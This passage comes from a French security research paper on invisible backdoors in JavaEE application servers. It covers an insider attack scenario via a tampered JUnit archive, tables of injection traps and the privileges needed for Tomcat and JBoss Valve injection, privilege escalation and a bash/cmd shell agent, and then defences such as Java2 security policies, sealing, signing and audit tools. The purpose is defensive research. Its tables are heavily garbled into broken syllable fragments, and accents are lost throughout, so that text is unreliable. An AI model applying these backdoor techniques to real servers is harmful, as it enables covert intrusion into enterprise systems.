dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
